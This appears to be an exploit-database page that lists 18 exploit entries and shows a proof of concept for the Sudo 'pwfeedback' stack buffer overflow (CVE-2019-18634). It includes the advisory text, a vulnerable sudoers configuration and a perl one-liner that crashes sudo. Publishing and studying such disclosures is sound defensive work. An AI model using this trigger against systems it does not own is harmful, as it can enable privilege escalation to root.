ea7a01d8fb
18 changes to exploits/shellcodes Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC) Sudo 1.8.25p - Buffer Overflow Torrent iPod Video Converter 1.51 - Stack Overflow DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow Disk Sorter Enterprise 12.4.16 - 'Disk Sorter Enterprise' Unquoted Service Path Disk Savvy Enterprise 12.3.18 - Unquoted Service Path Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow Sudo 1.8.25p - 'pwfeedback' Buffer Overflow OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution Microsoft SharePoint - Deserialization Remote Code Execution CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting Vanilla Forums 2.6.3 - Persistent Cross-Site Scripting WordPress InfiniteWP - Client Authentication Bypass (Metasploit)
33 lines
No EOL
1.6 KiB
Text
33 lines
No EOL
1.6 KiB
Text
# Title: Sudo 1.8.25p - Buffer Overflow
|
|
# Date: 2020-01-30
|
|
# Author: Joe Vennix
|
|
# Software: Sudo
|
|
# Versions: Sudo versions prior to 1.8.26
|
|
# CVE: CVE-2019-18634
|
|
# Reference: https://www.sudo.ws/alerts/pwfeedback.html
|
|
|
|
# Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting
|
|
# their password. For each key press, an asterisk is printed. This option was added in
|
|
# response to user confusion over how the standard Password: prompt disables the echoing
|
|
# of key presses. While pwfeedback is not enabled by default in the upstream version of sudo,
|
|
# some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.
|
|
|
|
# Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow.
|
|
# This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.
|
|
|
|
The folowing sudoers configuration is vulnerable:
|
|
|
|
$ sudo -l
|
|
Matching Defaults entries for millert on linux-build:
|
|
insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail
|
|
|
|
User millert may run the following commands on linux-build:
|
|
(ALL : ALL) ALL
|
|
|
|
# Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled.
|
|
# The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password.
|
|
|
|
$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
|
|
Password: Segmentation fault
|
|
|
|
If pwfeedback is enabled in sudoers, the stack overflow may allow unprivileged users to escalate to the root account. |